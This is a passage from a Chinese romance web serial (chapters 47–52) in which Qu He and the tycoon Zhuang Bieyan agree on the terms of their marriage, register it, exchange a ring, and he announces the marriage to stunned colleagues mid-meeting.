吹风机声响呼呼吹,房间声响大了些,倒是显得没那么尴尬了。
庄别宴把衬衫袖口拉到手肘,露出了结实的小臂,曲荷盯着那颗小小的痣,想起刚才他刚才挨的那几棍子。
“你身上的伤还好吗?要不还是先上药吧。”
曲荷说着就起身想去拿药箱,可刚起了半个身位,就被庄别宴一把按在肩膀再次坐下。
他掌心的力道不重,却带着几分坚持。
他的声音从后面传来,在吹风机的呼呼声中,显得有些低哑,“先给你吹头发。”
曲荷愣愣,她的头发已经干得差不多了,庄别宴还受了伤,她怎么好意思让他帮忙。
她尝试转身,“还是我自己来吧,你受了伤...”
庄别宴的手移到了她后脖颈,隔着发丝轻轻摩挲着,“别动。”
这下,曲荷真的不敢动了,连呼吸都轻了。
她能感觉到他俯身的动作,雪松味混着热风笼在周围,“今天多谢庄太太救命之恩。”
他的声音沉沉,还带着几分笑意,曲荷的脸瞬间从耳根子烫到脖子。
她像是被定在了原地。
一动不动。
他们还没领证呢!
这样一句话从他嘴里说出来,让人异常遐想。
她现在无比庆幸的是还好庄别宴在她后面,不然一定能看到她红透的脸。
这一刻吹风机的呼呼声反而成为了最好的掩护,掩盖了曲荷过快的心跳,也掩盖了空气中之间悄然滋生的微妙氛围。
热风吹过头发,带着他手上的温度。
庄别宴手指轻轻从穿过她的头发丝,慢慢游走。
他的动作很轻,在摸到头皮的时候还会轻轻揉一下,像是某种隐秘的安抚,偶尔碰到打结的发丝,他的动作更会放轻,耐心地帮她一点点解开。
曲荷从没觉得吹头发是一件这么漫长的事情,每一秒似乎都被无限拉长。她也不好说什么,只能默默垂眼,盯着地板上两人交叠的影子。
不知过了多久,吹风机声音终于停了。
房间瞬间安静下来,只剩下两人的轻轻的呼吸声。
庄别宴拿来一把梳子帮她梳顺头发,从头顶到发尾,齿梳轻轻划过。最后一下,他的指腹还有意无意擦过了后脖颈。
这次没有隔着头发丝,温热的触感直接落在了皮肤上,曲荷身子不自觉抖了下,肩膀不小心打到了他的手。
“不好意思。”曲荷慌忙转头看向他,“我有点怕痒。”
庄别宴目光落在自己的指腹上,想起刚才她瑟缩的那一下,又看着她现在垂着头发一脸无措的模样,像极了一只受惊的小兔子,耳朵都快耷拉下来了。
“是我冒犯了。”
他看着她泛红的脸颊,意味深长补充了句:“下次会注意。”
听到他的话,曲荷愣住。
下次?
还有下次?
庄别宴把她的反应尽收眼底,笑意更深了几分。
他慢条斯理拔下吹风机插头,开始整理电线,一圈圈缠绕整齐。
曲荷看着他的动作,这双手刚刚还在帮她吹头发,现在坐着这些平凡的琐事,
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竟也透出了几分温柔。
她摸了把垂在肩膀的头发,那里好像还留着他指尖的温度。
“庄别宴,”曲荷伸手戳了戳他的手臂,“明天我们就要去领证了。”
“嗯。”他应的很快,但手上动作似乎停了半拍。
“我觉得有些事还是要说清楚。”曲荷说。
庄别宴手上动作彻底停了。
他转过身,声音有些紧张,“你说。”
曲荷莫名带上了几分重视,调整了下坐姿,背挺得笔直,双手规规矩矩放在腿上,一本正经面对他。
庄别宴被她这副架势逗笑了,却也学着她的样子坐正,两人面对面,像是准备开展一场价值千亿的商业谈判。
曲荷绞着手指,“你知道我之前有过一段七年的感情。”
庄别宴从喉咙里吐出一个“嗯”字,心脏不受控制收紧了下。
曲荷自嘲笑了笑,“那七年是真实发生过的,我没办法抹去,但是这些事我必须得告诉你,否则对你来讲是不公平的,你如果介意的话....”
“为什么会介意?”庄别宴打断了她的话,身体前倾了些,“既然没办法抹去,就把它变成过去。我们的未来才是最有分量的,庄太太,我有信心。”
最后几个字他说得尤为笃定。
曲荷心触动了一下,久久未熄。
他没有强制逼迫她在当下立刻和那段过往划清界限,而是用了一个‘未来’的承诺。
他们的未来...
庄别宴不知何时身子又凑近了些,他们的膝盖几乎要碰到一起。
曲荷下意识想后退,却被他一手按住了膝盖。
“还有吗?”他的声音低了些,带着几分循循善诱。
曲荷定了下神,继续说:“还有就是,白玉湾的房子是爸妈买给我的,我不会把它卖掉,我们领证之后...”
“可以。”庄别宴应得爽快,“婚后你可以继续住在白玉湾,那是你的家,你想住多久就住多久。”
“只是...”他犹豫了一下。
曲荷心紧张,“只是什么?”
庄别宴上半身往她这边探了过来,掌心轻轻摩挲着她的膝盖,“只是希望,庄太太能在家里给我留个位置,毕竟婚后第一天就分居....”
他顿了下,声音里带上了几分笑意,“传出去...好像是我不太中用似的。”
第48章 什么正事需要脱衣服?
最后几个字说得尤其暧昧,曲荷看着近在咫尺的脸,倒吸一口冷气。
她默默往后退了一点,却被他顺势一拉,差点跌到他怀里。
“我家..很小的,你不介意就行。”
“不介意,再小也容得下我。我会尽好义务。”
“不.不用谢。”
曲荷别过脸,脸烫得快熟了。
庄别宴嘴角弧度止不住上扬,单手撑在床上,手指开始有一下没一下敲着。
曲荷见他前两条都答应了,静下心继续说,“最后一件事,也需要商量一下。”
说到这,她抬头直直对上了庄别宴的眼睛,眼神里带上了几分决绝,“你...”
话到嘴边卡住了。
她看着庄别宴含笑的眼睛,瞬间失去了开口的勇气。
“嗯?”他耐心等着,指尖轻轻勾了勾她的发丝。
手感很软。
庄别宴看着她叹气的样子,开始猜想到底最后一件事是什么,值得这样。
“可以。”他说。
曲荷疑惑看向他,“可是我还没说。”
庄别宴揉了揉她的头发,动作温柔得不像话,“不管什么,我都答应。舍不得看你皱眉的样子。”
他的阿荷应该是永远灿烂的。
曲荷心猛地一颤,“如果我说,现在不想要孩子呢?”
气氛陷入沉寂。
房间瞬间安静下来,只能听到空调制动的声音。
曲荷说完那句话后就看着庄别宴的眼睛。
可指甲却死死掐着掌心。
其实不管是她还是庄别宴,都已经到了人生重要的阶段之一。尤其是庄家这样的豪门大户,对待子嗣肯定非常看重。
可她做不到。
那七年的背叛,像根刺一样,扎在她心底最深处,她没办法做到毫无芥蒂地就和一个刚领证的人孕育新生命。
尤其是她和庄别宴,在这样的情况下领证结婚,如果不清不楚就有了孩子,对任何人都是不公平,更何况她也没有做好当妈妈的准备。
曲荷不知道庄别宴会怎么想,但已经做好了被拒绝的准备,因为这次她想把自己放在第一位。
如果他不同意,那他就去找庄老爷子,替他把剩下的棍子挨了,再找机会和庄别宴道歉。
正想着,就感到一双手覆了上来。庄别宴轻轻掰开了她紧握的掌心,指腹揉着她掌心的指甲印。
“如果我说不同意,你会怎么办?”他的声音很轻,听不出情绪。
果然...
曲荷自嘲扯了下嘴角,把刚才心里想的那些说了出来。
只是她刚说完,就感觉掌心被捏了一下,力道不重,却带着点惩罚的意味。
她抬头看向“始作俑者”。
庄别宴眸色幽幽,指腹轻轻揉着她的掌心,“我的答案从没变过,还是那句话,我太太永远是我的第一顺位。”
他说着说着突然贴近了她耳廓,温热的气息拂过耳廓,痒痒的。
庄别宴轻笑,“不过......比起你想着如何当好一个母亲,我更希望你可以练习先试着相信我。”
曲荷愣愣的。
‘我太太永远是我的第一顺位’
这句话,第一次听到是在PADA甜品店里。
同样的话,再次听到心境已然不同。
她没有想到居然会变成这句话的主人公。
看着她出神的样子,庄别宴勾了下唇,手指慢慢勾起她的头发绕了个圈,又松开,像是找到了什么好玩的乐趣。
“还有吗?”他问,“不管你有什么要求,我都答应你。”
曲荷摇摇头,心跳还没完全平复,“没有了,我想说的都说完了。”
末了,她想起什么,抬头看他,反问,“那你呢?你有什么要求,或者有什么需要我遵守的家规,都可以告诉我。”
曲荷一脸认真看着他,像个等待被布置作业的学生。
庄别宴忍住笑意,故意蹙起眉,片刻后他缓缓开口,“确实有一件事。”
曲荷把他勾自己头发的手抓了下来,“你说,我准备好了。”
他装作沉思,还长长叹了口气。
曲荷心被高高吊起,脑子里闪过一百零八个念头。
庄家毕竟有三百二十条家规,难不成要每天请安?还是要学做饭?
“很多吗?那我用手机录下来。”她忙着去拿手机。
“不需要。”庄别宴拉住她,“只有一件事。”
曲荷屏住呼吸。
“是婚礼。明天领证太仓促了,但婚礼不能少。”他看着她的眼睛,无比认真,“该有的仪式,都必不可少。”
“婚礼?”
庄别宴眯了下眼,他握住曲荷的手,捏了捏掌心,“难道你不想办婚礼?”
这语气,这眼神...
曲荷莫名从他的话里听出了几分幽怨,总有种她敢说个‘不想’,下一秒他就要闹了的错觉。
这还是那个传闻中端方如玉,克己复礼的庄家玉树吗?
为什么和她看到的不是同一个人....
庄别宴好像捏她的手上瘾了,到后面还一边揉,一边画圈。
“嗯?”他喉咙里出了个音。
“可以。”
“好,那我去准备婚礼
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的事,你有任何需求都可以告诉我。”
曲荷点头。
他的手指还在掌心作乱,痒得不行。
曲荷刚想抽回手,就听到庄别宴笑了声,“既然都谈完了,那就该干正事了。”
“正事?”
曲荷还没理解他话里的意思,就看到他开始解衬衫扣子。
一颗,两颗...
“你..你干什么?”
正事?
什么正事需要脱衣服?
是那种‘正事’吗?
曲荷一下子有些慌乱,不知道是先帮他拉上衣服,还是先捂住自己的眼睛。
直到耳边传来一声轻笑,“曲荷,只是上药而已,你在想什么?”
上..上药?
曲荷的手僵在半空。
看着庄别宴的似笑非笑的眼神,一下子脸更烫了。
她刚才,好像想歪了。
手上被塞进一支冰凉的药膏,庄别宴的声音在头顶响起,带着几分沙哑,“后背的伤看不到,还请太太帮我涂个药。
“哦,好,好的。”
庄别宴脱下衬衫,背过身。
背肌上棍棒的伤痕经过这段时间,已经浮出红肿,纵横交错,触目惊心。
曲荷心头一紧,挤出药膏,轻轻抹上去,她想起小时候妈妈帮她上药的时候总会轻轻吹一下,她也下意识凑过去,对着伤口吹了口气。
“唔...”
一声压抑的闷哼声突兀响起,带着几分克制的暗哑。
曲荷被吓了一跳,连忙停手,“痛吗?对不起,那我轻点可以吗?”
“不痛,这样可以。”
庄别宴声音有些发紧,他低垂着头,手攥紧床单。
棍棒的痛根本不算什么。
她刚才吹的那一下,才真是要了命,差点在她面前失控。
涂完药,还需要等药膏干了才能穿上衣服,庄别宴就这样光着上半身坐在床边。
灯光下,他的宽肩窄腰展露无疑,每一寸肌肉都透着力量感。
曲荷不敢多看,慌忙移开眼,却突然想起什么。
“刚才小禧给我打电话,说你流血了,是怎么回事?”她刚才根本没看到他身上有流过血的样子。
庄别宴蹙了下眉,轻笑,“是红墨水。在书房抄家训的时候,不小心打翻了。”
曲荷恍然。
原来如此,心里却松了口气。
庄别宴笑笑,“让你担心了。”
曲荷摇头,心跳又开始不规律。
庄别宴抬手看了眼手表,“天不晚了,要去客房休息吗?”
曲荷脑子一抽,脱口而出,“我不睡这里吗?”
第49章 新婚快乐,庄先生
在意识到自己说了什么后,曲荷恨不得咬掉舌头。
庄别宴挑眉,嘴角噙起一抹促狭,“给你准备了房间,但如果你想睡这里....“
他顿了下,眼神暧昧地扫过了他们身下的床,“....欢迎光临。”
曲荷:.......
她刚才说了什么!
这听起来,怎么感觉是她等不及了?
“不是,我的意思是...”
越说越解释不清。
庄别宴不忍打趣,拍了拍她的手,声音带着安抚,“房间在隔壁,如果半夜真的睡不着,也是欢迎太太随时来找我。”
曲荷整个人快着了,慌乱起身,拿起手机快步就往门口冲,步伐匆匆带着慌乱。
“左边第一间。”他的声音在身后响起,带着几分笑意。
“好,好的。谢谢。”
“不客气。”
门关上瞬间,庄别宴低笑了声。
手指轻轻摩挲着刚才被她碰过的地方,眼底温柔快溢出来。
窗外月色正好,在阳台洒下一片朦胧。
他低头看了眼手机屏幕上的被标注成红的日期。
宜嫁娶。
明天,确实是个好日子.....
......
去民政局的路上,车后座。
曲荷看着车窗外不断变换的街景,无意识绞着裙子。
昨晚她睡得并不好,满脑子都是今天要领证的事,脑袋现在都是恹恹的。
“紧张吗?”庄别宴突然开口。
曲荷被抓包,脸颊烫了下,老实点了下头,“有一点。”
“我也是。”
庄别宴的手轻轻覆在了她手背上,像是种无声的安抚。
“第一次做这种事,没经验。”
他轻笑,话里带上了几分坦诚。
曲荷被他的话逗笑了,连带着缠了一晚上的紧张感散去了大半。
也不知今天是什么日子,民政局的人还挺多。
大家不是在网上说好都不结婚吗?怎么还有这么多人?
不知道庄别宴用了什么方法,他们没有等号,到了之后直接被工作人员领着走到了办事处。
填完表格后,庄别宴自然地牵着她的手往里走。
拍照的时候,曲荷整个人都是懵懵的,拘谨到肩膀绷得僵直。
旁边,庄别宴悄悄勾了下她的手指,“庄太太,笑一笑。”
他没有刻意压低声音,“庄太太”三个字从他嘴里说出来格外清晰。
曲荷心头一颤,微微抬眸,正好瞥到了他眼里的笑意。
她也被带着下意识弯了下嘴角。
“好,看这里,三二一!”
摄影师看准时机,快门按下瞬间,庄别宴突然侧了下身子,稍稍歪头碰了碰她的鬓角。
很轻,却让曲荷脸颊升温,心跳如鼓。
直到拿到红本本的时候,曲荷甚至还觉得这是一场梦。
原来领证这么简单。
她曾经无数次幻想过和钱昭野领证结婚,可结果最后和她领证的却是庄别宴。这个北城最高不可攀无数千金名媛都想嫁的男人。
曲荷轻轻摸着结婚证,耀眼的红,惊心动魄。
翻开结婚证,照片正是庄别宴微微侧身靠着她的那张。
她身上穿着的是米白色新中式旗袍,领口处的盘扣露出了一截水滴形的镂空,旗袍上的浅金色纹饰在阳光下泛着光。
庄别宴今天没穿着和往常一样的常规西装,他身上是一件新中式国风黑色西服,领口别着一枚暗金色领针,前衣襟上斜绣着和她同款纹饰。
刚才没有注意,现在看到照片,曲荷才发现这显然是一套情侣款衣。
想起早上庄留月送来这套衣服的神情...
难道,这都是庄别宴准备的。
民政局人来人往,几对年轻小夫妻穿着白色轻纱在草坪上甜蜜合影。
快门声里满是雀跃。
曲荷望向那片热闹,忽然感觉手指被轻轻勾了下。
庄别宴不知何时下了一个台阶,站到了她面前,两人目光几乎齐平。
她注意到他手里凭空多了个红色丝绒小盒子。
“这是....”曲荷已经有些猜到了里头的东西,但还是不由得瞪大了眼睛。
庄别宴单手打开盒子,里面躺着一枚戒指。
戒托是冠冕的形状,下面一圈十三颗钻石依次排列,上面一圈十四颗钻石与之呼应,正中间镶嵌着一枚红宝石。
曲荷瞳孔缩了下。
她认得这枚戒指,它是Mosephin品牌的镇店之宝,那枚传说中独一无二的“红冕”。
戒指中间的那枚红宝石据说是英国皇室流传下来的,历经百年,全世界仅此一枚。
她之所以知道是因为五年前它被一个神秘买家以天价拍下,从此再未露面,成为了收藏界的一段传奇。
当时钱昭野刚和她求完婚,她无意间看到新闻,看着那抹惊心动魄的红,还感慨了句‘能戴上它的人,该有多被珍视啊。’
可现在,这枚戒指出现在了她面前。
原来五年前拍下这枚戒指的人庄别宴。
“这...这个..”曲荷的声音有些发颤。
“本来想等婚礼再送的。”
庄别宴慢慢牵过她的左手,指腹轻轻摩挲着她的无名指。
“但我觉得,从今天开始,你就应该带着它。”
冰凉的金属贴上她的皮肤,无名指被圈住的那瞬间,曲荷心跳漏了一拍。
出乎意料的是,戒指的尺寸刚刚
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好,似乎是特意调整过尺寸大小,像是为她量身定制的一样。
曲荷正想说什么,就看到司机捧着一大束粉荔枝玫瑰走了过来,“庄总,花到了。”
粉嫩的花瓣上还沾着水珠,在阳光下泛着晶莹。
庄别宴接过花递给她,声音裹着笑意,“新婚快乐,庄太太。”
曲荷抱着沉甸甸的花,鼻尖萦绕着玫瑰花香,一时有些凝噎。
没想到短短一夜,他都准备好了。
本来只是一场仓促的领证,她根本不抱有期待,甚至做好了领完证就各回各家的准备,可偏偏他却给了她最大的仪式感。
精心准备的情侣装,合手的珍藏戒指,偏爱的粉荔枝,那些没说出口的期待,全都一一出现在了她面前。
她抬眼望他,“新婚快乐,庄先生。”
庄别宴眼带笑意,揽过她的肩膀,“那现在,该拍照了。”
说着他拿出手机,举高。
镜头里,她抱着粉荔枝,无名指上的戒指闪闪发光。
庄别宴忽然低头,薄唇有意无意擦过了他的耳垂,带着几分痒意,“笑一笑,庄太太。”
时间仿佛和刚才那瞬间重叠。
曲荷下意识弯起嘴角,快门声应声而落。
手机传来震动,是庄别宴发来的照片。
曲荷点开大图,照片里她抱着玫瑰花,嘴角扬起的那抹弧度连她自己都觉得陌生。
她有好多年没这样笑过了。
在经历了钱昭野的背叛后,她甚至觉得日子大概也就这样了,可偏偏庄别宴走进了她的生活,给她死水般的人生重新注入了一丝生机。
“喜欢吗?”庄别宴俯身靠近了些,声音压得很低,“我觉得拍得不错。”
他说着,抓着她的手腕往上,掌心手背相贴。
风里飘着花香,缠绕在两人中间。
曲荷感受着他掌心的温度,又低头看着那枚戒指。
“庄别宴。”
“嗯?”
“谢谢你。”
庄别宴挑眉,“谢什么?”
曲荷看着照片里自己嘴角上扬的那抹弧度,“我一度以为,日子大概也就那样了。谢谢你让我觉得,未来好像没那么糟了。”
庄别宴喉结微动,反手握住她的手,声音温柔,“这才刚开始,以后会更好。”
他握着她的手更紧了些,笃定道:“有我的日子,都会好。”
曲荷心跳漏了半拍,心里莫名地因为他这句话,对那个‘未来’有了隐隐的期待。
“信我吗,庄太太?”
曲荷看着他近在咫尺的眼睛,深邃又认真。
原来被人坚定地放在未来里,是这样的感觉。
风过林梢,带着盛夏的暖意,曲荷轻轻点了下头。
第50章 是的,我们结婚了
从民政局出来,庄别宴把她送到了荷月坊。
车停后,曲荷条件反射,礼貌道谢,“谢谢。”
庄别宴勾唇,尾音上扬:“不客气,这是你先生该做的。”
‘先生’这两个字从他嘴里说出来,像个小钩子在她心尖上轻轻挠了一下。
曲荷显然还没完全适应,她扭头避开他的目光,开车门的动作快了些,“那我进去了,再见。”
庄别宴拦下她下车的动作,手腕被他轻轻扣住。
他倾身过来,“几点结束?傍晚我来接你,一起回家。”
“回家?”曲荷一愣。
看着她皱眉的样子,他戏谑,“怎么?新婚第一天,我就要被太太赶出家门了?”
曲荷这才读懂他话里的意思。
他们现在已经是合法的夫妻,晚上要住同一间房子里,甚至....还要睡在同一张床上。
一想到这个她呼吸都乱了,声音里带上了几分无措,“不是,我...我都可以,你什么时候有空就什么时候来。”
庄别宴把她的反应尽收眼底,他声音沉沉:“对你,我随时有空。我也可以陪你一整天。”
“啊?”曲荷瞪大眼睛。
庄别宴是谁?
是业内劳模的代名词,要是被人知道他为了今天刚领证的太太,连班都不上了,那估计整个公司一人一口唾沫就能淹死她。
她可不想被追杀。
曲荷赶紧拒绝,抽回手,“别了别了。”
她语气有点急,“你赶紧回公司吧,下午五点半...五点半来接我就行。”
庄别宴空落落的手心,低笑,语气纵容:“好吧,都听太太的。”
曲荷怕耽误他回公司,又怕他再说出什么惊人的话,飞快下车,几乎是落荒而逃。
车后座。
直到窗外的身影彻底不见后,庄别宴才收回视线。
他看向前座,淡淡开口:“东西呢。”
驾驶座的司机早就候着了,听到他的话,赶紧拿出两本结婚证双手递了过去。
刚才在民政局门口,庄总接过他手里的玫瑰花时,顺手就把这两本结婚证塞了过来,当时那架势,生怕晚一秒就被旁边的太太看到了似的。
庄别宴接过结婚证,摩挲了几下封面,‘结婚证’这三个烫金字体泛着暖光。
他翻开,看到两人并排的照片的,嘴角不自觉上扬。他反复翻开又合拢,动作重复好几次,怎么也看不够似的。
最后,他小心翼翼地把两本结婚证收好,放进了西装内袋,紧贴着心脏的位置。
……
荷月坊。
曲荷刚进门,就看到司月单手叉腰,另一只手捏着一团泥坯,眼神犀利看着她。
不知为何,被她这么盯着,曲荷总有种被抓包的感觉。
司月一个箭步冲了过来,“学姐,我都看到了!”
她眯起眼,咬牙切齿,“你今天是坐迈巴赫来的!你不会又和那个渣男复合了吧!”
曲荷:“......”
司月都快炸毛了,颇有一种你敢点个头,我就把这团泥扔你脸上,让你清醒一下的架势。
曲荷上前,小心翼翼接过她手里的泥巴,放回箱子里。
谁知司月一把抓起她的左手,指着无名指上的戒指,一脸惊讶,“这……这不是……”
她猛得抬头,难掩怒意,“曲荷!你不会就因为钱昭野给你送了枚戒指,你就回心转意了吧!我真的生气了!”
司月演都不演了,直接叫了名字,气得在原地转圈圈。
曲荷啧了声,赶紧上前顺**,决定速战速决。
“没原谅,没复合,车里的人不是他。”
“什么?”
“车里的人是庄别宴。”
“什么!”
“我们结婚了。”
“什么!!!”
中华文化博大精深,短短两个字让司月表达出了三种意思。
从怀疑到震惊,最后直接破了音。
曲荷眼看着她踉跄了一下,差点就要撞到旁边的柜子,大步一跨扶住了她。
她花了几分钟时间把前因后果和司月讲了一下。
“你等等,我缓缓。”司月听到后面,眼睛一闭躺在了沙发上,开始揉太阳穴。
“…所以就是,学姐你踹了渣男后,转头和商业大佬庄别宴,闪、婚、了!”
最后三个字被她咬得格外重。
曲荷:“……”
这话听起来没错,但怎么感觉怪怪的。
好像某些狗血言情小说的书名啊。
司月还是有些怀疑,“学姐,你真的没有骗我吗?总感觉有些太巧合了,好像一切都像是被安排好一样。”
曲荷笑了下,“那我把结婚证给你看,你总能相信了吧。”
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>司月脑袋转了一圈,点点头。
曲荷低头开始在包里翻结婚证,可里层外层都翻了一遍还是没找到。
她回想起,好像两本结婚证刚才都被庄别宴拿走了。
司月见她找了半天,眼睛眯了下。
她双手环胸,慢慢挺直了脊背,“学姐,你别告诉我结婚证找不到了哦。”
曲荷:“...你等等,我问问。”
她飞快拿出手机给庄别宴发了条消息。
叮咚。
手机传来震动。
庄氏集团。
会议室。
庄别宴漫不经心敲着桌面,正准备开口,余光看到屏幕亮起。在看到弹出来的微信联系人后,放下手里的文件报表,拿过手机解锁。
备注【老婆】的人在一分钟前发来了一条消息。
【庄别宴,我们的结婚证在你那里吗?】
他疑惑挑了下眉,敲字,回得坦然。
【在。爷爷说想看看。】
其实当然不是爷爷想看,从拿到这证开始,他就没打算给曲荷。这么重要的东西,当然得他亲自保管。
很快,曲荷的消息就回了过来,看着上面一大段略显仓促的解释,他嘴角勾起一抹不易察觉的笑。
【需要我现在过来亲自和你朋友证明吗?】
【不用不用,你方便的话能拍张结婚证的照片给我吗?】
荷月坊里,曲荷发出消息后,就把手机反扣在大腿上,心跳得飞快,掌心也有点冒汗。
其实在发出那条消息后,心里是有些犹豫的。
毕竟他是庄别宴,他们领证的原因也是受情况所迫,她也怕庄别宴和钱昭野一样,觉得这段关系见不得人,想藏着掖着。
毕竟他们这样的关系,她没有资格再要求更多。
手机久久没有传来动静。
曲荷的心逐渐平静下来,又恢复了往日的沉沉。
她自嘲了下,拿起手机,点进聊天框,刚准备发消息说不用了,就看到对面发来了好几张照片。
结婚证的正面,反面,内页,甚至还有他拿着结婚证的自拍。
曲荷:“.....”
她视线略过了前面三张照片,聚焦在了最后一张合照上。
他嘴角噙着笑,可背后是熟悉的会议室背景.....
背后的玻璃窗还能隐约看到满会议室高管震惊的脸.....
第51章 庄别宴发朋友圈官宣
曲荷大脑瞬间空白。
她看起来人还在,其实已经走了有一会儿了。
他....在开会的时候,当着所有人的面,把结婚证掏出来,拍照?
熟悉的字组成了一句陌生的话。
这个世界颠了。
手机铃声响起。
屏幕上跳动的【庄别宴】三个字,让曲荷下意识想把手机扔出去。
可最后她还是在铃声即将挂断的前一秒,按下了接通键。
“喂,我是庄别宴。”
他的声音透过听筒传了过来,低沉里还裹着几分笑意。
“....我知道。”
“那就好,我怕太太没有给我备注。”
‘太太’两个字被他刻意加重,再次听到这个称呼,曲荷脸还是不自觉烫了下。
“照片收到了吗,看你没有回复,怕你不满意。”
“收.收到了,谢谢。”
“太太客气了。”
曲荷的脸都快埋进膝盖了。
“庄别宴,你刚刚....是在开会吗?”她小声问。
“其实你发个消息和我说下就可以了,我也没有那么急。晚点发也没事的。”
“是在开会”,他顿了下,好像走到了一个更空旷的地方,声音清晰了不少。
“是我急,我不想让你等。怕你没收到我的照片会多想。”
曲荷一下子说不出来话。
他怎么会知道...他居然全猜中了。
刚才那些短短几分钟内那些乱七八糟的心思,内耗、不安,全被他这一句话打散了。
庄别宴说话声又传了过来,声音温柔了下来,还带着些歉意。
“今天是我考虑不周,我应该提前发朋友圈官宣,还请太太原谅我这一次。”
发朋友圈?
曲荷愣住了,下意识说:“不用这样的,我朋友她看到照片后已经相信了。”
“可是,我想发。”他的语气笃定又认真。
“我听别人说,这是夫妻之间的给彼此的安全感的一种方式。曲荷,这也是我想给你的,你可以完全相信我。”
曲荷被他的话震撼到了,握着手机的手指紧了紧,喉咙有点堵。
他再一次用行动,表示了让她试着相信他这件事。
“那么,庄太太批准我这个请求吗?”他的语气里带着点诱哄,看似温柔,却步步紧逼。
“....好。”曲荷听到自己的声音很轻。
“多谢太太。”
电话挂断后,自动跳回微信界面,曲荷看到朋友圈上跳动着一个熟悉的头像。
她顿了下,点进去。
就在刚刚,庄别宴发表了一张图片,是他手拿着结婚证的照片,背景是她在民政局门口捧着粉荔枝的背影。
配文【太太批准我可以发这张照片】
曲荷脸一下子红到了脖子。
他到底是什么时候拍的这张照片啊。
那头,庄别宴看着朋友圈上点赞的头像,唇角勾起一抹得逞的笑。
他收起手机,慢斯条理把结婚证收回西装内袋,看向会议室里的人,语气淡然:
“抱歉,我太太的电话。”
全场:“......??”
话一出,会议室哗然。
每个人脸上的表情是精彩绝伦。
就在刚才他们庄总会开到一半,突然拿起手机笑着回消息,这也就算了。
离谱的是他突然暂停会议,从西装内袋里拿出了两本结婚证,在众目睽睽下,开始给结婚证拍照片,最后甚至还拿在手上让潭特助拍了合照!
会议室的里的几位老总,每一个脑袋里都炸了颗雷,一度以为自己还没睡醒。
他们庄总手上拿着的是结婚证吧。
庄别宴,结婚了!!!
庄氏集团要有女主人了!
庄家玉树,入凡尘了!!!
可还没等他们反应过来,就看到庄别宴给潭特助使了个眼色后,就拿着结婚证去了旁边休息间。
等他再回来,就是那句“抱歉,我太太的电话。”
财务部的罗副总第一个反应过来,起身道喜,“庄总结婚了?恭喜恭喜啊,祝您和夫人新婚快乐,百年好合。”
后面几个总飞快反应过来,争先恐后接上祝贺,生怕一个
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没来得及就变成了最后一个,显得自己不上心。
“庄总新婚快乐。”
“庄总和夫人真恩爱啊!”
大家你一言我一语,祝福声此起彼伏,原本紧张的会议室瞬间变成被喜气洋洋淹没。
庄别宴坦然地接收了所有祝福。
等会议室慢慢安静下来后,才不紧不慢开口,“替我太太谢过各位。她比较害羞,婚礼还在筹备中,希望大家先不要声张。”
“明白明白,庄总您就放心吧。”
大家统一口径,异口同声应着。
可心里却和明镜似的,就刚才那两本结婚证亮出来的架势,哪像是要藏着掖着的。
只有旁边的谭聪无奈闭了下眼,
从早上他们庄总进办公室开始,那两本结婚证就光明正大地被放在了办公桌上。
这期间,但是进来汇报工作的人,上至副总,下至打扫卫生的清洁工,谁没瞅见?
算算时间,现在‘庄总已经结婚了’这个消息,怕是已经顺着内线群,已经在公司传开了。
口是心非这一套,算是给他庄别宴玩得明明白白。
会议好不容易被拉回正轨。
这时,市场部的程总感叹了句,“庄总和夫人感情真好啊,我们家那口子也经常给我发消息打电话,有时候出差时间久了,她睡不着我还得每天晚上打电话哄她呢。”
他话虽然这么说,但脸上的甜蜜却是一点没少。
“这就是已婚男人的甜蜜的烦恼啊!”
他说完这句话,会议室一片寂静。
后知后觉的尴尬浮了上来。
程总这才意识到刚才他说了什么,脸上的笑意僵住,正想找补,就听到庄别宴看着他一脸认真。
“程总说的是。”他若有所思点了下头。
“程总后天要飞马来西亚谈的合作换谭聪去吧,你这段时间也辛苦了,给你放个假回去好好陪陪你太太。”
程总难掩喜色,谭聪一脸无语。
痛苦不会消失,只会转移。
谭聪无语闭眼,你清高,你有老婆,你了不起,我活该行了呗。
第52章 已婚男人的气场
程总忙不迭道谢:“多谢庄总,那我会后就把合作资料都转交给谭特助。”
“嗯。会议继续。”
安静的会议室里,只剩下键盘敲击声,但在做每个人心里都明白了一件事。
这个传闻中素未谋面的庄太太,在庄总心里的地位非同一般啊,怕是比整个庄氏集团都重。
会议结束后,谭聪跟在庄别宴后面汇报下午行程。
“下午五点后的行程取消。”
“可是您五点半有一场跨国线上会议,是海外分部的年度汇报。”
庄别宴抬手看了眼时间,换算了下时差,“把线上会议提到中午。”
谭聪:“....是。”
进了办公室后,庄别宴回头看了眼欲言又止的谭聪,“有话直说。”
谭聪赶紧摇头,“没什么。”
庄别宴淡淡扫了他一眼,“马来西亚回来后,给你年终奖翻三倍。”
他继续补充,“你上次盯着看的那辆车,已经让人从英国运过来了。”
谭聪猛得瞪大眼:“!!!”
他是个忠实的摩托车爱好者,上周他不过是在电脑上看了眼车型,刚好被庄总撞见,当时他连句话都没说,没想到只是短短几秒的时间,他就记住了!
那辆车首发在英国,他本想着找渠道看看能不能加个排队名额,没想到庄总直接给他安排上了!
这班,他上定了!
这马来西亚,他去定了!
去的就是这马来西亚!
“多谢庄总,那您好好休息,我去准备线上会议。”
谭聪难掩喜悦。
“等等。”庄别宴拦下他,“我给你发个清单,你把上面的东西给我买回来。”
“好的。”
谭聪看到手上的发来的清单后,迟疑抬头,“庄总,您确定是这些吗?”
庄别宴睨了他一眼,“有问题?”
“没有没有,我立刻去办。”
四个小时的线上会议终于结束。
杯子的黑咖啡已经见底,庄别宴揉了揉眉心。
“几点了。”
谭聪看了眼时间,“五点零五分。”
庄别宴睁开眼,眼神瞬间恢复清明,“让你买的东西放哪儿了?”
“都在车后备箱里。”
“嗯。”
庄别宴应下,穿上外套往外走,“后续的事你跟进,有事给我留言。”
谭聪看着他急急忙忙离开的背影,没忍住多嘴问了句,“庄总,您这么早就走了?”
庄别宴脚步一顿,回头看了他一眼,谭聪莫名从中读出了几分嫌弃。
“谭特助,你有时间也该谈个恋爱了。”
他慢悠悠开口,话里带着几分‘已婚男人’的优越感。
谭聪:“.....”
他深吸一口气。
他忍,他是忍者!
为了摩托车...
暮色四合。
迈巴赫缓缓停在了荷月坊门口。
庄别宴拿出手机发了条消息。
片刻后,那抹心心念念的白色身影慢慢出现,后面还跟着一个小跟班。
庄别宴下车,从她手里接过包,自然地站在她身侧。
明明刚刚还在店里叫嚣着要看看庄别宴的态度的司月,现在突然和失了声一下,默默站在两夫妻对面,接受着四道目光的凝视。
